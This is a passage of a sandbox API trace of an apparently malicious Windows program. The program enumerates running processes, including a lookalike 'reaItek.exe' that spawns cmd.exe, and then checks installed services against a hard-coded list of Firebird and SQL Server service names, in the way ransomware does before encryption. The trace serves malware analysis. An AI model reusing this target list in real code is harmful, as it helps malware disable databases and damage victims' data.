hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum_appeals_das.exe")) returned 1 [0106.182] lstrlenW (lpString="quantum_appeals_das.exe") returned 23 [0106.182] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mixture_bidding_beam.exe")) returned 1 [0106.182] lstrlenW (lpString="mixture_bidding_beam.exe") returned 24 [0106.183] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customs-denial-enough.exe")) returned 1 [0106.183] lstrlenW (lpString="customs-denial-enough.exe") returned 25 [0106.183] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0106.184] lstrlenW (lpString="dome.exe") returned 8 [0106.184] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wires_jacket_neighborhood.exe")) returned 1 [0106.185] lstrlenW (lpString="wires_jacket_neighborhood.exe") returned 29 [0106.185] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="paying.exe")) returned 1 [0106.185] lstrlenW (lpString="paying.exe") returned 10 [0106.185] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emission.exe")) returned 1 [0106.192] lstrlenW (lpString="emission.exe") returned 12 [0106.192] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sandy_barriers.exe")) returned 1 [0106.193] lstrlenW (lpString="sandy_barriers.exe") returned 18 [0106.193] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charter.exe")) returned 1 [0106.194] lstrlenW (lpString="charter.exe") returned 11 [0106.194] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0106.195] lstrlenW (lpString="nickel.exe") returned 10 [0106.195] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened-conservative-warnings.exe")) returned 1 [0106.196] lstrlenW (lpString="opened-conservative-warnings.exe") returned 32 [0106.196] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist.exe")) returned 1 [0106.197] lstrlenW (lpString="wrist.exe") returned 9 [0106.198] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bloodpopularity.exe")) returned 1 [0106.198] lstrlenW (lpString="bloodpopularity.exe") returned 19 [0106.199] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neck.exe")) returned 1 [0106.199] lstrlenW (lpString="neck.exe") returned 8 [0106.199] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0106.200] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0106.200] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0106.201] lstrlenW (lpString="dllhost.exe") returned 11 [0106.201] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0106.202] lstrlenW (lpString="taskhostw.exe") returned 13 [0106.202] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.203] lstrlenW (lpString="svchost.exe") returned 11 [0106.203] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaItek.exe")) returned 1 [0106.203] lstrlenW (lpString="reaItek.exe") returned 11 [0106.204] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0106.204] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0106.204] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0106.205] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0106.205] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0106.206] lstrlenW (lpString="conhost.exe") returned 11 [0106.206] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x408, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0106.207] lstrlenW (lpString="cmd.exe") returned 7 [0106.207] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0106.207] lstrlenW (lpString="conhost.exe") returned 11 [0106.207] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0106.208] lstrlenW (lpString="sppsvc.exe") returned 10 [0106.208] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0106.209] lstrlenW (lpString="mode.com") returned 8 [0106.209] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0106.210] CloseHandle (hObject=0x33c) returned 1 [0106.210] Sleep (dwMilliseconds=0x1f4) [0106.741] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5fee08 [0106.741] EnumServicesStatusExW (in: hSCManager=0x5fee08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0106.742] GetLastError () returned 0xea [0106.742] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1fc0) returned 0x61c998 [0106.742] EnumServicesStatusExW (in: hSCManager=0x5fee08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x61c998, cbBufSize=0x1fc0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x61c998, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0106.743] CloseServiceHandle (hSCObject=0x5fee08) returned 1 [0106.743] lstrlenW (lpString="Appinfo") returned 7 [0106.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0106.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0106.743] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0106.743] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0106.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0106.744] lstrlenW (lpString="AppXSvc") returned 7 [0106.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0106.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0106.744] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0106.744] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0106.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0106.744] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0106.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0106.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0106.744] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0106.744] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0106.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0106.744] lstrlenW (lpString="Audiosrv") returned 8 [0106.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0106.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0106.744] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0106.744] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0106.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0106.744] lstrlenW (lpString="BFE") returned 3 [0106.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0106.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0106.744] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0106.744] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0106.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0106.744] lstrlenW (lpString="BITS") returned 4 [0106.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0106.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0106.745] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0106.745] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0106.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0106.745] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0106.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0106.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0106.745] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0106.745] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0106.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0106.745] lstrlenW (lpString="CDPSvc") returned 6 [0106.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0106.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0106.745] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0106.745] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0106.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0106.745] lstrlenW (lpString="ClickToRunSvc") returned 13 [0106.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0106.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0106.745] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0106.745] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0106.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0106.745] lstrlenW (lpString="ClipSVC") returned 7 [0106.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0106.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0106.745] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0106.745] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0106.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0106.745] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0106.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0106.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0106.746] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0106.746] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0106.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0106.746] lstrlenW (lpString="CryptSvc") returned 8 [0106.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0106.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0106.746] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0106.746] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0106.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0106.746] lstrlenW (lpString="DcomLaunch") returned 10 [0106.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0106.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0106.746] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0106.746] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0106.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0106.746] lstrlenW (lpString="DeviceAssociationService") returned 24 [0106.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0106.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0106.746] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0106.746] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0106.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0106.746] lstrlenW (lpString="Dhcp") returned 4 [0106.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0106.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0106.746] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0106.746] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0106.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0106.746] lstrlenW (lpString="Dnscache") returned 8 [0106.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0106.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0106.746] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0106.747] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0106.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0106.747] lstrlenW (lpString="DoSvc") returned 5 [0106.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0106.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0106.747] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0106.747] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0106.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0106.747] lstrlenW (lpString="DPS") returned 3 [0106.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0106.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0106.747] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0106.747] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0106.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0106.747] lstrlenW (lpString="DusmSvc") returned 7 [0106.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0106.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0106.747] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0106.747] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0106.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0106.747] lstrlenW (lpString="EventLog") returned 8 [0106.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0106.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0106.747] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0106.747] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0106.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0106.747] lstrlenW (lpString="EventSystem") returned 11 [0106.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0106.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0106.747] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0106.747] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0106.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0106.748] lstrlenW (lpString="FontCache") returned 9 [0106.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0106.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0106.748] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0106.748] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0106.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0106.748] lstrlenW (lpString="gpsvc") returned 5 [0106.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0106.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0106.748] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0106.748] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0106.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0106.748] lstrlenW (lpString="iphlpsvc") returned 8 [0106.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0106.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0106.748] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0106.748] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0106.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0106.748] lstrlenW (lpString="KeyIso") returned 6 [0106.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0106.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0106.748] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0106.748] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0106.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0106.748] lstrlenW (lpString="LanmanServer") returned 12 [0106.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0106.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0106.748] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0106.748] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0106.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0106.749] lstrlenW (lpString="LanmanWorkstation") returned 17 [0106.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0106.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0106.749] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0106.749] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0106.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0106.749] lstrlenW (lpString="lfsvc") returned 5 [0106.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0106.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0106.749] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0106.749] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0106.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0106.749] lstrlenW (lpString="LicenseManager") returned 14 [0106.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0106.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0106.749] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0106.749] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0106.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0106.749] lstrlenW (lpString="lmhosts") returned 7 [0106.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0106.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0106.749] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0106.749] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0106.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0106.749] lstrlenW (lpString="LSM") returned 3 [0106.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0106.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0106.749] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0106.749] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0106.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0106.749] lstrlenW (lpString="MpsSvc") returned 6 [0106.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0106.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0106.750] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0106.750] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0106.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0106.750] lstrlenW (lpString="NcbService") returned 10 